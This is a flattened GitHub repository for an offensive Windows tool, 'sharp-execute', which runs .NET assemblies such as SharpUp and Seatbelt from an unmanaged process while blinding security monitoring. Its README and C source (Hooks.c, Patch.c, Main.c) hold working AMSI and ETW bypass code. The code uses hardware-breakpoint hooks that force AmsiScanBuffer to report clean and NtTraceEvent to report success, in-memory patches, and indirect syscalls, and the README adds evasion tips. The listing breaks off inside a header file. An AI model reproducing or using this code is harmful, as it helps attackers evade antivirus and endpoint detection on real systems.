├── .gitattributes ├── README.md ├── img └── img1.png └── src ├── Execute.c ├── Hooks.c ├── Macros.h ├── Main.c ├── Ntdll.h ├── Patch.c ├── Prototypes.h ├── SharpStruct.h ├── Structs.h ├── Utils.c ├── sharp-execute.sln ├── sharp-execute.vcxproj ├── sharp-execute.vcxproj.filters ├── sharp-execute.vcxproj.user └── stub.s /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | Executing .NET Files from an Unmanaged Process with Manual CLR Loading. 3 | 4 | Manually loading the CLR in an unmanaged process and using hardware breakpoints can reveal when the CLR calls ```NtTraceEvent``` through the managed thread pool. 5 | 6 | To evade detection, this tool offers two approaches: 7 | 8 | - Patchless execution by hooking ```NtTraceEvent``` ```AmsiScan``` and thread-pooling functions using hardware breakpoints. 9 | - Patching the target function via an APC (Asynchronous Procedure Call). 10 | 11 | The CLR utilizes thread pooling to optimize the execution of .NET applications. Some calls to ```NtTraceEvent``` are made via the thread pool. 12 | To evade these calls, it is necessary to either control the thread pool or patch the function's implementation. 13 | 14 | ![image info](./img/img1.png) 15 | 16 | It is also very important to hook ```NtCreateThreadEx``` because some assemblies, such as SharpUp, use multithreading. New threads created by these assemblies can generate telemetry via ```NtTraceEvent```. 17 | 18 | https://github.com/GhostPack/SharpUp/blob/master/SharpUp/Program.cs#L53 19 | 20 | # Patchless method 21 | 22 | Set Hardware Breakpoints (HWBP) on the Following Functions: 23 | 24 | - ```AmsiScanBuffer``` : Redirect the instruction pointer (rip) to the return instruction, and set the rax register to AMSI_RESULT_CLEAN. 25 | - ```NtTraceEvent``` : Redirect rip to the return instruction, and set the rax register to STATUS_SUCCESS. 26 | - ```NtCreateThreadEx``` : When the assembly creates a thread, the hook intercepts the function call and runs it via an indirect syscall. Once the thread is created, the HWBP is placed on the new thread, and rip is redirected to the return instruction. 27 | - ```NtCreateWorkerFactory``` : Modify the start address of the worker factory to a controlled function to place an HWBP on threads created by the worker factory. After setting the HWBP, jump back to the legitimate start address. 28 | - ```RtlQueueWorkItem``` : Modify the start address of the thread pool to a controlled function to place an HWBP on threads created by the worker factory. After setting the HWBP, jump back to the legitimate start address. 29 | 30 | Warning: 31 | Be aware that ```NtTraceEvent``` is sometimes called outside controlled threads due to the limitation of HWBP (only 4 addresses can be set). During long assembly executions (e.g., running Seatbelt with -group=all), you may encounter 1 or 2 uncontrolled events. 32 | 33 | | NtTraceEvent Leak | Nbr of Call | 34 | |------------------------------|-------------| 35 | | Seatbelt -group=all | +/- 2 | 36 | | Seatbelt -group=misc | 1 | 37 | | SharpUp audit | 0 | 38 | | Rubeus triage | 0 | 39 | 40 | NB : If you're daring, you could parse all threads in the process for each HWBP hit to check whether the HWBP is present, reducing the risk of ```NtTraceEvent``` leaks. However, I did not implement this method because I believe making numerous calls to ```CreateToolhelpSnapshot```/```OpenProcess``` is riskier than allowing a few ```NtTraceEvent``` leaks. 41 | 42 | Another possibility is to add a watchdog that checks every X ms if a new thread is present, and then adds an HWBP to it. 43 | 44 | Some assemblies may encounter issues with HWBP hooking (but not with patching) for unknown reasons. 45 | 46 | # Patching method 47 | 48 | Use WriteProcessMemoryAPC to patch the content AmsiScanBuffer and NtTraceEvent with : 49 | 50 | ``` 51 | nop 52 | xor rax, rax 53 | ret 54 | ``` 55 | 56 | # Opsec consideration 57 | 58 | - Consideration 1 : 59 | Evading ETW is effective, but you might observe strange behavior during execution. If your process loads the CLR and ETW does not receive telemetry, this is not a normal aspect of assembly execution. 60 | 61 | - Consideration 2 : 62 | Loading the CLR from a unmanaged process can appear suspicious. You can inject your assembly into a process where the CLR is already loaded. 63 | 64 | - Consideration 3 : 65 | Patching a function is the most reliable way (100% certain) to ensure it will not be called, but it is also the most dangerous method for evading AMSI/ETW. 66 | 67 | - Consideration 4 : 68 | Evading AMSI and ETW is not a silver bullet. If your assembly exhibits malicious behavior or is subject to a memory scan, an AV/EDR can still catch you ! 69 | 70 | - Consideration 5 : 71 | Having ETW blind at 100% is not a legitimate action; take this into consideration. 72 | 73 | 74 | # Important notes 75 | 76 | Development & Testing on Windows 11 Pro 23H2 x64; I haven't checked or tested on other systems. 77 | 78 | It doesn't work on x86 systems due to the indirect syscall on the ```NtCreateThreadEx``` hook. 79 | 80 | On Windows 10, more ```NtTraceEvent``` leaks are present, probably due to a different method for thread pooling. However, don't forget that having ETW blind at 100% is not legitimate. It's better to spend 15 minutes editing the assembly to remove IoCs and keep ETW active. 81 | 82 | Keep in mind, it's more of a proof of concept (POC) than a ready-to-use tool. 83 | 84 | # Credit 85 | 86 | - WriteProcessMemoryAPC : https://www.x86matthew.com/view_post?id=writeprocessmemory_apc 87 | - InlineExecute-Assembly : https://github.com/anthemtotheego/InlineExecute-Assembly 88 | - ExecuteAssembly : https://github.com/med0x2e/ExecuteAssembly 89 | - HWBP : https://www.intel.com/content/dam/support/us/en/documents/processors/pentium4/sb/253669.pdf (chapter 18) 90 | - TartarusGate : https://github.com/trickster0/TartarusGate 91 | -------------------------------------------------------------------------------- /img/img1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NtDallas/sharp-execute/42f03354e506cc3dc6c4f0079d237ca2de1f4f16/img/img1.png -------------------------------------------------------------------------------- /src/Execute.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include "Structs.h" 6 | #include "SharpStruct.h" 7 | #include "Prototypes.h" 8 | 9 | #pragma comment(lib, "MSCorEE.lib") 10 | 11 | const wchar_t wClrV2[] = L"v2.0.50727"; 12 | const wchar_t wClrV4[] = L"v4.0.30319"; 13 | 14 | BOOL executeAssembly( 15 | _In_ PVOID pAssemblyContent, 16 | _In_ DWORD dwAssemblySize, 17 | _In_ LPWSTR lpwAssemblyArgs 18 | ) 19 | { 20 | ICLRMetaHost* pMetaHost = NULL; 21 | ICLRRuntimeInfo* pRuntimeInfo = NULL; 22 | IEnumUnknown* pRuntimeEnum = NULL; 23 | ICorRuntimeHost* pRuntimeHost = NULL; 24 | IUnknown* pAppDomainThunk = NULL; 25 | AppDomain* pAppDomain = NULL; 26 | Assembly* pAssembly = NULL; 27 | MethodInfo* pMethodInfo = NULL; 28 | 29 | HRESULT hr = S_OK; 30 | BOOL bLoadable = FALSE; 31 | 32 | VARIANT retVal = { 0 }; 33 | VARIANT obj = { 0 }; 34 | 35 | clrVersion version; 36 | 37 | obj.vt = VT_NULL; 38 | 39 | printf("[*] Assembly Size : %d\n[*] Assembly in memory addr : 0x%p\n\n", dwAssemblySize, pAssemblyContent); 40 | 41 | 42 | version = GetVersionOfClr(pAssemblyContent, dwAssemblySize); 43 | CLRCreateInstance(&xCLSID_CLRMetaHost, &xIID_ICLRMetaHost, (LPVOID*)&pMetaHost); 44 | 45 | hr = pMetaHost->lpVtbl->EnumerateLoadedRuntimes((HANDLE)-1, (HANDLE)-1, &pRuntimeEnum); 46 | if (FAILED(hr)) { 47 | return FALSE; 48 | } 49 | 50 | BOOL clrIsLoaded = CheckIfClrIsLoaded(version, pRuntimeEnum, (PVOID*)&pRuntimeInfo); 51 | if (! 52 | clrIsLoaded 53 | ) 54 | { 55 | printf("[*] CLR is not loaded !\n"); 56 | 57 | if (version == CLR_V2) 58 | { 59 | hr = pMetaHost->lpVtbl->GetRuntime(pMetaHost, wClrV2, &IID_ICLRRuntimeInfo, (PVOID*)&pRuntimeInfo); 60 | } 61 | else 62 | { 63 | hr = pMetaHost->lpVtbl->GetRuntime(pMetaHost, wClrV4, &IID_ICLRRuntimeInfo, (PVOID*)&pRuntimeInfo); 64 | } 65 | if (FAILED(hr)) 66 | return FALSE; 67 | 68 | hr = pRuntimeInfo->lpVtbl->IsLoadable(pRuntimeInfo, &bLoadable); 69 | if (FAILED(hr) || !bLoadable) 70 | return FALSE; 71 | } 72 | 73 | hr = pRuntimeInfo->lpVtbl->GetInterface(pRuntimeInfo, &CLSID_CorRuntimeHost, &IID_ICorRuntimeHost, (PVOID*)&pRuntimeHost); 74 | if (FAILED(hr)) 75 | return FALSE; 76 | 77 | hr = pRuntimeHost->lpVtbl->Start(pRuntimeInfo); 78 | if (FAILED(hr)) 79 | return FALSE; 80 | 81 | hr = pRuntimeHost->lpVtbl->GetDefaultDomain(pRuntimeInfo, &pAppDomainThunk); 82 | if (FAILED(hr)) 83 | return FALSE; 84 | 85 | hr = pAppDomainThunk->lpVtbl->QueryInterface(pAppDomainThunk, &xIID_AppDomain, &pAppDomain); 86 | if (FAILED(hr)) 87 | return FALSE; 88 | 89 | SAFEARRAYBOUND rgsabound[1]; 90 | rgsabound[0].cElements = dwAssemblySize; 91 | rgsabound[0].lLbound = 0; 92 | DWORD dwOldProtect = 0; 93 | 94 | SAFEARRAY* pSafeArray = SafeArrayCreate(VT_UI1, 1, rgsabound); 95 | if (pSafeArray == NULL) 96 | return FALSE; 97 | 98 | PVOID pvData = NULL; 99 | 100 | hr = SafeArrayAccessData(pSafeArray, &pvData); 101 | if (FAILED(hr)) 102 | return FALSE; 103 | 104 | RtlCopyMemory(pvData, pAssemblyContent, dwAssemblySize); 105 | 106 | hr = SafeArrayUnaccessData(pSafeArray); 107 | if (FAILED(hr)) 108 | return FALSE; 109 | 110 | hr = pAppDomain->lpVtbl->Load_3(pAppDomain, pSafeArray, &pAssembly); 111 | if (FAILED(hr)) 112 | return FALSE; 113 | 114 | hr = pAssembly->lpVtbl->EntryPoint(pAssembly, &pMethodInfo); 115 | if (FAILED(hr)) 116 | return FALSE; 117 | 118 | SAFEARRAY* params = NULL; 119 | if (lpwAssemblyArgs == NULL) 120 | { 121 | params = SafeArrayCreateVector(VT_EMPTY, 0, 0); 122 | } 123 | else 124 | { 125 | params = prepareArgs(lpwAssemblyArgs); 126 | } 127 | 128 | if (!params) 129 | return FALSE; 130 | 131 | 132 | #ifdef HWBP 133 | HANDLE hThread = GetCurrentThread(); 134 | HMODULE hModNtdll = LoadLibraryA("Ntdll.dll"); 135 | 136 | if (!hModNtdll) 137 | return FALSE; 138 | 139 | DWORD64 dwNtTraceEvent = GetProcAddress(hModNtdll, "NtTraceEvent"); 140 | DWORD64 dwNtCreateThreadEx = GetProcAddress(hModNtdll, "NtCreateThreadEx"); 141 | DWORD64 dwNtCreateWorkerFactory = GetProcAddress(hModNtdll, "NtCreateWorkerFactory"); 142 | DWORD64 dwRtlQueueWorkItem = GetProcAddress(hModNtdll, "RtlQueueWorkItem"); 143 | 144 | if ( 145 | !dwNtTraceEvent || 146 | !dwNtCreateThreadEx || 147 | !dwNtCreateWorkerFactory || 148 | !dwRtlQueueWorkItem 149 | ) 150 | return FALSE; 151 | SetHwbp(hThread, dwNtTraceEvent, dwNtCreateWorkerFactory, dwRtlQueueWorkItem, dwNtCreateThreadEx); 152 | AddVectoredExceptionHandler(1, &HookHandler); 153 | 154 | #endif 155 | /* 156 | AmsiScanBuffer is call before Invoke_3, the hook in dr0 was change for NtTraceEvent 157 | */ 158 | printf("[*] Call Invoke_3\n"); 159 | 160 | hr = pMethodInfo->lpVtbl->Invoke_3(pMethodInfo, obj, params, &retVal); 161 | if (FAILED(hr)) 162 | return FALSE; 163 | 164 | SafeArrayDestroy(pSafeArray); 165 | SafeArrayDestroy(params); 166 | 167 | return TRUE; 168 | } -------------------------------------------------------------------------------- /src/Hooks.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include "Prototypes.h" 6 | #include "Structs.h" 7 | #include "Macros.h" 8 | #include "Ntdll.h" 9 | 10 | void* g_ThreadPoolStartAddr = NULL; 11 | void* g_ThreadPoolContext = NULL; 12 | 13 | void* g_WorkerFactoryStartRoutine = NULL; 14 | void* g_WorkerFactoryStartParameter = NULL; 15 | 16 | BOOL SetHwbp( 17 | _In_ HANDLE hThread, 18 | _In_ DWORD64 dwAddr1, 19 | _In_ DWORD64 dwAddr2, 20 | _In_ DWORD64 dwAddr3, 21 | _In_ DWORD64 dwAddr4 22 | ) 23 | { 24 | CONTEXT ctx = { 0 }; 25 | ctx.ContextFlags = CONTEXT_ALL; 26 | 27 | if (!GetThreadContext(hThread, &ctx)) 28 | return FALSE; 29 | 30 | // Breakpoint addr 31 | ctx.Dr0 = dwAddr1; 32 | ctx.Dr1 = dwAddr2; 33 | ctx.Dr2 = dwAddr3; 34 | ctx.Dr3 = dwAddr4; 35 | 36 | // Enable bp 37 | ctx.Dr7 |= (1 << 0); 38 | ctx.Dr7 |= (1 << 2); 39 | ctx.Dr7 |= (1 << 4); 40 | ctx.Dr7 |= (1 << 6); 41 | 42 | // Trigger on exec 43 | ctx.Dr7 &= ~(3 << 16); 44 | ctx.Dr7 &= ~(3 << 20); 45 | ctx.Dr7 &= ~(3 << 24); 46 | ctx.Dr7 &= ~(3 << 28); 47 | 48 | ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; 49 | 50 | if (!SetThreadContext(hThread, &ctx)) 51 | return FALSE; 52 | 53 | return TRUE; 54 | } 55 | 56 | VOID hookWorkerFactory() 57 | { 58 | //printf("[!] Thread created with factory ! TID : %d\n", GetCurrentThreadId()); 59 | 60 | HANDLE hThread = GetCurrentThread(); 61 | HOOK_ADDR hookAddr = { 0 }; 62 | 63 | if (!SolveHookAddr(&hookAddr)) 64 | goto jmp_exec; 65 | 66 | if (!SetHwbp(hThread, hookAddr.NtCreateThreadEx, hookAddr.NtCreateWorkerFactory, hookAddr.NtTraceEvent, hookAddr.QueueUserWorkItem)) 67 | goto jmp_exec; 68 | 69 | jmp_exec: 70 | ((fnExec)g_WorkerFactoryStartRoutine)(g_WorkerFactoryStartParameter); 71 | } 72 | 73 | VOID hookQueueUserWorkItem() 74 | { 75 | //printf("[!] Thread created with worker ! TID : %d\n", GetCurrentThreadId()); 76 | 77 | HANDLE hThread = GetCurrentThread(); 78 | HOOK_ADDR hookAddr = { 0 }; 79 | 80 | if (!SolveHookAddr(&hookAddr)) 81 | goto jmp_exec; 82 | 83 | if (!SetHwbp(hThread, hookAddr.NtCreateThreadEx, hookAddr.NtCreateWorkerFactory, hookAddr.NtTraceEvent, hookAddr.QueueUserWorkItem)) 84 | goto jmp_exec; 85 | 86 | jmp_exec: 87 | ((fnExec)g_ThreadPoolStartAddr)(g_ThreadPoolContext); 88 | } 89 | 90 | LONG HookHandler( 91 | _In_ PEXCEPTION_POINTERS ExceptionInfo 92 | ) 93 | { 94 | if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) 95 | { 96 | HMODULE hModAmsi = LoadLibraryA("amsi.dll"); 97 | HMODULE hModNtdll = LoadLibraryA("Ntdll.dll"); 98 | 99 | if (!hModAmsi || !hModNtdll) 100 | { 101 | return EXCEPTION_CONTINUE_SEARCH; 102 | } 103 | 104 | 105 | DWORD64 dwAmsiScanBuffer = GetProcAddress(hModAmsi, "AmsiScanBuffer"); 106 | DWORD64 dwNtTraceEvent = GetProcAddress(hModNtdll, "NtTraceEvent"); 107 | DWORD64 dwNtCreateThreadEx = GetProcAddress(hModNtdll, "NtCreateThreadEx"); 108 | DWORD64 dwNtCreateWorkerFactory = GetProcAddress(hModNtdll, "NtCreateWorkerFactory"); 109 | DWORD64 dwQueueUserWorkItem = GetProcAddress(hModNtdll, "RtlQueueWorkItem"); 110 | 111 | if ( 112 | !dwAmsiScanBuffer || 113 | !dwNtTraceEvent || 114 | !dwNtCreateThreadEx || 115 | !dwNtCreateWorkerFactory || 116 | !dwQueueUserWorkItem 117 | ) 118 | { 119 | return EXCEPTION_CONTINUE_SEARCH; 120 | } 121 | 122 | 123 | DWORD64 dwRipValue = ExceptionInfo->ContextRecord->Rip; 124 | 125 | 126 | if (dwRipValue == dwAmsiScanBuffer) // Redirect rip to ret; rax (return value) take AMSI_RESULT_CLEAN 127 | { 128 | //printf("[*] AmsiScanBuffer hook !\n"); 129 | ExceptionInfo->ContextRecord->Rax = AMSI_RESULT_CLEAN; 130 | ExceptionInfo->ContextRecord->Rip = dwFindRetInstruction(dwRipValue); 131 | return EXCEPTION_CONTINUE_EXECUTION; 132 | } 133 | else if (dwRipValue == dwNtTraceEvent) 134 | { 135 | //printf("[*] NtTraceEvent hook !\n"); 136 | ExceptionInfo->ContextRecord->Rax = STATUS_SUCCESS; 137 | ExceptionInfo->ContextRecord->Rip = dwFindRetInstruction(dwRipValue); // Redirect rip to ret; rax (return value) take 0 for STATUS_SUCCESS 138 | 139 | return EXCEPTION_CONTINUE_EXECUTION; 140 | } 141 | else if (dwRipValue == dwNtCreateThreadEx) // Execute NtCreateThreadEx over Indirect Syscall to obtain the handle of created process, put hook in the new process. Change the PHANDLE value in Rcx with our handle and rax take 0 for STATUS_SUCCESS 142 | { 143 | //printf("[*] NtCreateThreadEx hook !\n"); 144 | 145 | void* arg1 = ExceptionInfo->ContextRecord->Rcx; // _Out_ PHANDLE ThreadHandle 146 | void* arg2 = ExceptionInfo->ContextRecord->Rdx; // DesiredAccess 147 | void* arg3 = ExceptionInfo->ContextRecord->R8; // ObjectAttributes 148 | void* arg4 = ExceptionInfo->ContextRecord->R9; // Process Handle 149 | 150 | void* arg5 = DEREF(ExceptionInfo->ContextRecord->Rsp + 0x28); // StartRoutine 151 | void* arg6 = DEREF(ExceptionInfo->ContextRecord->Rsp + 0x30); // Argument 152 | void* arg7 = DEREF(ExceptionInfo->ContextRecord->Rsp + 0x38); // CreateFlags 153 | void* arg8 = DEREF(ExceptionInfo->ContextRecord->Rsp + 0x40); // ZeroBits 154 | void* arg9 = DEREF(ExceptionInfo->ContextRecord->Rsp + 0x48); // StackSize 155 | void* arg10 = DEREF(ExceptionInfo->ContextRecord->Rsp + 0x50); // MaxStackSize 156 | void* arg11 = DEREF(ExceptionInfo->ContextRecord->Rsp + 0x58); // AttributeList 157 | 158 | SYS_INFO sysInfo = { 0 }; 159 | HANDLE hThread = NULL; 160 | NTSTATUS status = 0; 161 | 162 | if(!GetSyscall(dwNtCreateThreadEx, &sysInfo)) 163 | return EXCEPTION_CONTINUE_SEARCH; 164 | 165 | //printf("[!] Function addr : %p\n[!] SSN : %d\n[!] Jmp addr : 0x%p\n", dwNtCreateThreadEx, sysInfo.syscall, sysInfo.pAddress); 166 | 167 | HellsGate(sysInfo.syscall, sysInfo.pAddress); 168 | status = HellDescent(&hThread, arg2, arg3, arg4, arg5, arg6, arg7, arg8, arg9, arg10, arg11); 169 | 170 | //printf("[*] NTSTATUS for NtCreateThreadEx : 0x%llx\n", status); 171 | //printf("New thread ID: %d\n", GetThreadId(hThread)); 172 | if (! 173 | SetHwbp(hThread, dwNtCreateWorkerFactory, dwNtCreateThreadEx, dwQueueUserWorkItem, dwNtTraceEvent) 174 | ) 175 | { 176 | printf("[!] Error to put HWBP in new thread !\n"); 177 | return EXCEPTION_CONTINUE_SEARCH; 178 | } 179 | //printf("[!] HWBP put with success !\n"); 180 | ExceptionInfo->ContextRecord->Rax = status; 181 | DEREF(ExceptionInfo->ContextRecord->Rcx) = U_PTR(hThread); 182 | ExceptionInfo->ContextRecord->Rip = dwFindRetInstruction(dwRipValue); 183 | 184 | return EXCEPTION_CONTINUE_EXECUTION; 185 | } 186 | else if (dwRipValue == dwNtCreateWorkerFactory) 187 | { 188 | //printf("[*] NtCreateWorkerFactory hook !\n"); 189 | 190 | void* arg6 = DEREF(ExceptionInfo->ContextRecord->Rsp + 0x30); // StartRoutine 191 | void* arg7 = DEREF(ExceptionInfo->ContextRecord->Rsp + 0x38); // StartParameter 192 | 193 | g_WorkerFactoryStartRoutine = arg6; 194 | g_WorkerFactoryStartParameter = arg7; 195 | 196 | //printf("[*] Redirect StartRoutine of worker factory : 0x%p to 0x%p\n[*] Factory args addr : 0x%p\n", arg6, &hookWorkerFactory, arg7); 197 | 198 | DEREF(ExceptionInfo->ContextRecord->Rsp + 0x30) = U_PTR(&hookWorkerFactory); 199 | ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // continue exec 200 | 201 | return EXCEPTION_CONTINUE_EXECUTION; 202 | } 203 | else if (dwRipValue == dwQueueUserWorkItem) 204 | { 205 | //printf("[*] QueueUserWorkItem hook !\n"); 206 | void* arg1 = ExceptionInfo->ContextRecord->Rcx; // StartRoutineAddr 207 | void* arg2 = ExceptionInfo->ContextRecord->Rdx; // Context 208 | 209 | g_ThreadPoolStartAddr = arg1; 210 | g_ThreadPoolContext = arg2; 211 | 212 | ExceptionInfo->ContextRecord->Rcx = U_PTR(&hookQueueUserWorkItem); 213 | ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // continue exec 214 | 215 | return EXCEPTION_CONTINUE_EXECUTION; 216 | } 217 | else 218 | { 219 | return EXCEPTION_CONTINUE_SEARCH; 220 | } 221 | 222 | } 223 | 224 | return EXCEPTION_CONTINUE_SEARCH; 225 | 226 | 227 | } 228 | -------------------------------------------------------------------------------- /src/Macros.h: -------------------------------------------------------------------------------- 1 | #define U_PTR(x) (UINT_PTR)x 2 | #define DEREF( name )*(UINT_PTR *)(name) 3 | -------------------------------------------------------------------------------- /src/Main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include "Prototypes.h" 5 | 6 | int main() 7 | { 8 | 9 | #ifdef HWBP 10 | printf("[!] Evade Amsi/Etw with HWBP Hooking\n"); 11 | #elif PATCH 12 | printf("[!] Evade Amsi/Etw with function patching\n"); 13 | #elif _DEBUG 14 | printf("[!] No ! Debug with printf/getchar\n"); 15 | return 0; 16 | #endif 17 | 18 | BYTE assemblyPath[] = "C:\\Tools\\Ghostpack-CompiledBinaries\\SharpUp.exe"; 19 | WCHAR args[] = L"audit"; 20 | 21 | printf("[*] Assembly path : %s\n\n", assemblyPath); 22 | 23 | void* pAssemblyContent = NULL; 24 | DWORD dwAssemblySize = 0; 25 | 26 | if (! 27 | ReadFileFromDisk(&assemblyPath, &pAssemblyContent, &dwAssemblySize) 28 | ) 29 | { 30 | printf("Can't read file from disk !\n"); 31 | return 1; 32 | } 33 | 34 | HMODULE hModAmsi = LoadLibraryA("amsi.dll"); 35 | HMODULE hModNtdll = LoadLibraryA("Ntdll.dll"); 36 | 37 | if (!hModAmsi || !hModNtdll) 38 | return EXCEPTION_CONTINUE_SEARCH; 39 | 40 | #ifdef HWBP 41 | 42 | HANDLE hThread = GetCurrentThread(); 43 | 44 | DWORD64 dwAmsiScanBuffer = GetProcAddress(hModAmsi, "AmsiScanBuffer"); 45 | DWORD64 dwNtCreateThreadEx = GetProcAddress(hModNtdll, "NtCreateThreadEx"); 46 | DWORD64 dwNtCreateWorkerFactory = GetProcAddress(hModNtdll, "NtCreateWorkerFactory"); 47 | DWORD64 dwRtlQueueWorkItem = GetProcAddress(hModNtdll, "RtlQueueWorkItem"); 48 | 49 | if ( 50 | !dwAmsiScanBuffer || 51 | !dwNtCreateThreadEx || 52 | !dwNtCreateWorkerFactory || 53 | !dwRtlQueueWorkItem 54 | ) 55 | return EXCEPTION_CONTINUE_SEARCH; 56 | 57 | 58 | if (AddVectoredExceptionHandler(1, &HookHandler) == NULL) 59 | { 60 | printf("[!] Can't set VEH Handler ! ERROR : %d\n", GetLastError()); 61 | return 0; 62 | } 63 | 64 | 65 | if (!SetHwbp(hThread, dwAmsiScanBuffer, dwNtCreateWorkerFactory, dwRtlQueueWorkItem, dwNtCreateThreadEx)) 66 | { 67 | printf("[!] Error to set HWBP !\n"); 68 | return 0; 69 | } 70 | #elif PATCH 71 | 72 | PVOID pAmsiScanBuffer = GetProcAddress(hModAmsi, "AmsiScanBuffer"); 73 | PVOID pNtTraceEvent = GetProcAddress(hModNtdll, "NtTraceEvent"); 74 | if (!PatchFunction(pAmsiScanBuffer, FALSE)) 75 | { 76 | printf("[!] Can't patch AmsiScanBuffer !\n"); 77 | return 0; 78 | } 79 | 80 | if (!PatchFunction(pNtTraceEvent, TRUE)) 81 | { 82 | printf("[!] Can't patch AmsiScanBuffer !\n"); 83 | return 0; 84 | } 85 | 86 | printf("[!] AmsiScanBuffer & NtTraceEvent patched with success !\n"); 87 | 88 | #endif 89 | if (executeAssembly(pAssemblyContent, dwAssemblySize, (LPSTR)&args)) 90 | { 91 | printf("[!!] Assembly run with success !\n"); 92 | return 1; 93 | } 94 | else 95 | { 96 | printf("Error during the exeuction of assembly\n"); 97 | } 98 | 99 | 100 | if (!pAssemblyContent) free(pAssemblyContent); 101 | 102 | 103 | return 0; 104 | } -------------------------------------------------------------------------------- /src/Patch.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include "Ntdll.h" 5 | 6 | #pragma comment(lib, "Ntdll.lib") 7 | 8 | BOOL WriteProcessMemoryAPC( 9 | _In_ HANDLE hProcess, 10 | _In_ PBYTE pAddress, 11 | _In_ PBYTE pData, 12 | _In_ DWORD dwLength 13 | ) 14 | { 15 | HANDLE hThread = NULL; 16 | void* pRtlFillMemory = (void*)GetProcAddress(GetModuleHandleA("Kernel32.dll"), "RtlFillMemory"); 17 | 18 | if (pRtlFillMemory == NULL) 19 | { 20 | return FALSE; 21 | } 22 | 23 | if (NtCreateThreadEx(&hThread, 0x001FFFFF, NULL, hProcess, (LPVOID)ExitThread, (LPVOID)0, 1, NULL, 0, 0, NULL) != 0) 24 | { 25 | return FALSE; 26 | } 27 | 28 | for (DWORD i = 0; i < dwLength; i++) 29 | { 30 | if (NtQueueApcThread(hThread, pRtlFillMemory, (void*)((BYTE*)pAddress + i), (void*)1, (void*)*(BYTE*)(pData + i)) != 0) 31 | { 32 | TerminateThread(hThread, 0); 33 | CloseHandle(hThread); 34 | return FALSE; 35 | } 36 | } 37 | ResumeThread(hThread); 38 | WaitForSingleObject(hThread, INFINITE); 39 | CloseHandle(hThread); 40 | 41 | return TRUE; 42 | } 43 | 44 | BOOL PatchFunction( 45 | _In_ PVOID pFunctionAddr, 46 | _In_ BOOL needRwx 47 | ) 48 | { 49 | DWORD dwOldProtect = 0; 50 | DWORD dwMemProtect = PAGE_READWRITE; 51 | BYTE patch[] = { 52 | 0x90, // nop 53 | 0x48, 0x31, 0xC0, // xor rax, rax 54 | 0xC3 // ret 55 | }; 56 | 57 | if (needRwx) 58 | dwMemProtect = PAGE_EXECUTE_READWRITE; 59 | 60 | 61 | if (! 62 | VirtualProtect(pFunctionAddr, 0x1000, dwMemProtect, &dwOldProtect) 63 | ) 64 | { 65 | printf("[!] Error on VirtualProtect ! Error : %d\n", GetLastError()); 66 | return FALSE; 67 | } 68 | 69 | if (! 70 | WriteProcessMemoryAPC(GetCurrentProcess(), pFunctionAddr, &patch, sizeof(patch)) 71 | ) 72 | { 73 | printf("[!] Error on WriteProcessMemoryAPC !\n"); 74 | return FALSE; 75 | } 76 | 77 | if (! 78 | VirtualProtect(pFunctionAddr, 0x1000, dwOldProtect, &dwOldProtect) 79 | ) 80 | { 81 | printf("[!] Error on VirtualProtect ! Error : %d\n", GetLastError()); 82 | return FALSE; 83 | } 84 | 85 | 86 | return TRUE; 87 | } -------------------------------------------------------------------------------- /src/Prototypes.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | #include "SharpStruct.h" 6 | #include "Structs.h" 7 | 8 | /* ------------------------ 9 | Globals 10 | ------------------------ */ 11 | 12 | typedef void(WINAPI* fnExec)(void*); 13 | 14 | /* ------------------------ 15 | Stub.s 16 | ------------------------ */ 17 | 18 | extern VOID HellsGate( 19 | _In_ DWORD wSyscall, 20 | _In_ PVOID pJmpAddr 21 | ); 22 | 23 | extern NTSTATUS HellDescent( 24 | ); 25 | 26 | /* ------------------------ 27 | Utils.c 28 | ------------------------ */ 29 | 30 | BOOL ReadFileFromDisk( 31 | _In_ LPCSTR lpFilePath, 32 | _Inout_ PVOID* pAddr, 33 | _Inout_ PDWORD dwSize 34 | ); 35 | 36 | clrVersion GetVersionOfClr( 37 | _In_ PVOID fileContent, 38 | _In_ DWORD fileSize 39 | ); 40 | 41 | BOOL CheckIfClrIsLoaded( 42 | _In_ clrVersion version, 43 | _In_ IEnumUnknown* pEnumerator, 44 | _In_ ICLRRuntimeInfo* pRuntimeInfo 45 | ); 46 | 47 | SAFEARRAY* prepareArgs( 48 | _In_ LPWSTR lpwArgs 49 | ); 50 | 51 | BOOL SolveHookAddr( 52 | _In_ PHOOK_ADDR hookList 53 | ); 54 | 55 | DWORD64 dwFindRetInstruction( 56 | _In_ DWORD64 dwAddr 57 | ); 58 | 59 | DWORD64 dwFindRetInstruction( 60 | _In_ DWORD64 dwAddr 61 | ); 62 | 63 | BOOL GetSyscall( 64 | _In_ PVOID pFunctionAddress, 65 | _In_ PSYS_INFO sysInfo 66 | ); 67 | 68 | 69 | /* ------------------------ 70 | Execute.c 71 | ------------------------ */ 72 | 73 | BOOL executeAssembly( 74 | _In_ PVOID pAssemblyContent, 75 | _In_ DWORD dwAssemblySize, 76 | _In_ LPWSTR lpwAssemblyArgs 77 | ); 78 | 79 | /* ------------------------ 80 | Hooks.c 81 | ------------------------ */ 82 | 83 | LONG HookHandler( 84 | _In_ PEXCEPTION_POINTERS ExceptionInfo 85 | ); 86 | 87 | BOOL SetHwbp( 88 | _In_ HANDLE hThread, 89 | _In_ DWORD64 dwAddr1, 90 | _In_ DWORD64 dwAddr2, 91 | _In_ DWORD64 dwAddr3, 92 | _In_ DWORD64 dwAddr4 93 | ); 94 | 95 | BOOL PutHwbpInAllThreads( 96 | _In_ DWORD dwPid 97 | ); 98 | 99 | /* ------------------------ 100 | Patch.c 101 | ------------------------ */ 102 | 103 | BOOL PatchFunction( 104 | _In_ PVOID pFunctionAddr, 105 | _In_ BOOL needRwx 106 | ); -------------------------------------------------------------------------------- /src/SharpStruct.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | 5 | 6 | typedef 